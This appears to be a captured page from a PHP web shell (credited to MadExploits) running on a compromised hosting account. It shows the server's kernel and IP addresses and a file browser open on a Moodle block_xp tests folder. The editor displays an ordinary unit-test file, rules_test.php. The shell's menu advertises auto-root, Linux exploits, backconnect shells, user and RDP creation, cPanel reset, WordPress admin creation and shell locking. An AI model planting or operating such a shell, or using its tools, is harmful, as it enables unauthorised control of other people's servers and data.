Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.27
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
xp /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
base_testcase.php
1.38
KB
-rw-r--r--
config_test.php
15.89
KB
-rw-r--r--
course_world_collection_strate...
5.18
KB
-rw-r--r--
course_world_config_test.php
2.95
KB
-rw-r--r--
course_world_test.php
6.6
KB
-rw-r--r--
filters_test.php
13.89
KB
-rw-r--r--
leaderboard_factory_test.php
13.49
KB
-rw-r--r--
leaderboard_test.php
14.39
KB
-rw-r--r--
privacy_provider_test.php
24.22
KB
-rw-r--r--
rules_test.php
7.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rules_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Test rules. * * @package block_xp * @copyright 2014 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; /** * Rules testcase. * * @package block_xp * @copyright 2014 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class block_xp_rules_testcase extends advanced_testcase { public function test_rule_property() { $subject = (object) array( 'int' => 10, 'str' => 'I am here.' ); $rule = new block_xp_rule_property(block_xp_rule_base::CT, 'I', 'str'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::CT, 'am not', 'str'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::EQ, 10, 'int'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::EQ, 11, 'int'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::EQ, 'I am here.', 'str'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::EQ, 'I am not here.', 'str'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::EQS, 10, 'int'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::EQS, '10', 'int'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::GT, 5, 'int'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::GT, 15, 'int'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::GTE, 5, 'int'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::GTE, 10, 'int'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::GTE, 11, 'int'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::LT, 5, 'int'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::LT, 15, 'int'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::LTE, 5, 'int'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::LTE, 10, 'int'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::LTE, 9, 'int'); $this->assertFalse($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::RX, '/^I/', 'str'); $this->assertTrue($rule->match($subject)); $rule = new block_xp_rule_property(block_xp_rule_base::RX, '/^You/', 'str'); $this->assertFalse($rule->match($subject)); } public function test_ruleset() { $subject = (object) array( 'int' => 10, ); $rs = new block_xp_ruleset(array(), block_xp_ruleset::ANY); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 10, 'int')); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 99, 'int')); $this->assertTrue($rs->match($subject)); $rs = new block_xp_ruleset(array(), block_xp_ruleset::ANY); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 0, 'int')); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 99, 'int')); $this->assertFalse($rs->match($subject)); $rs = new block_xp_ruleset(array(), block_xp_ruleset::ALL); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 10, 'int')); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 9, 'int')); $this->assertFalse($rs->match($subject)); $rs = new block_xp_ruleset(array(), block_xp_ruleset::ALL); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 10, 'int')); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::LTE, 10, 'int')); $this->assertTrue($rs->match($subject)); $rs = new block_xp_ruleset(array(), block_xp_ruleset::NONE); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 10, 'int')); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 99, 'int')); $this->assertFalse($rs->match($subject)); $rs = new block_xp_ruleset(array(), block_xp_ruleset::NONE); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 0, 'int')); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 99, 'int')); $this->assertTrue($rs->match($subject)); } public function test_nested_ruleset() { $subject = (object) array( 'int' => 10, ); $rs = new block_xp_ruleset(array(), block_xp_ruleset::ANY); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 0, 'int')); $rs->add_rule(new block_xp_ruleset(array( new block_xp_rule_property(block_xp_rule_base::EQ, 10, 'int'), new block_xp_rule_property(block_xp_rule_base::LTE, 10, 'int'), new block_xp_rule_property(block_xp_rule_base::GTE, 10, 'int') ), block_xp_ruleset::ALL)); $rs->add_rule(new block_xp_rule_property(block_xp_rule_base::EQ, 99, 'int')); $this->assertTrue($rs->match($subject)); } public function test_export_create() { $rule = new block_xp_rule_property(block_xp_rule_base::CT, 'I', 'str'); $newrule = block_xp_rule::create($rule->export()); $this->assertEquals($rule, $newrule); $rule = new block_xp_rule_property(block_xp_rule_base::CT, 'I', 'str'); $rs = new block_xp_ruleset(array($rule), block_xp_ruleset::ALL); $newrs = block_xp_rule::create($rs->export()); $this->assertEquals($rs, $newrs); // Test with bad data. $data = $rs->export(); $data['_class'] = 'Does not exist'; $this->assertFalse(block_xp_rule::create($data)); } }
Close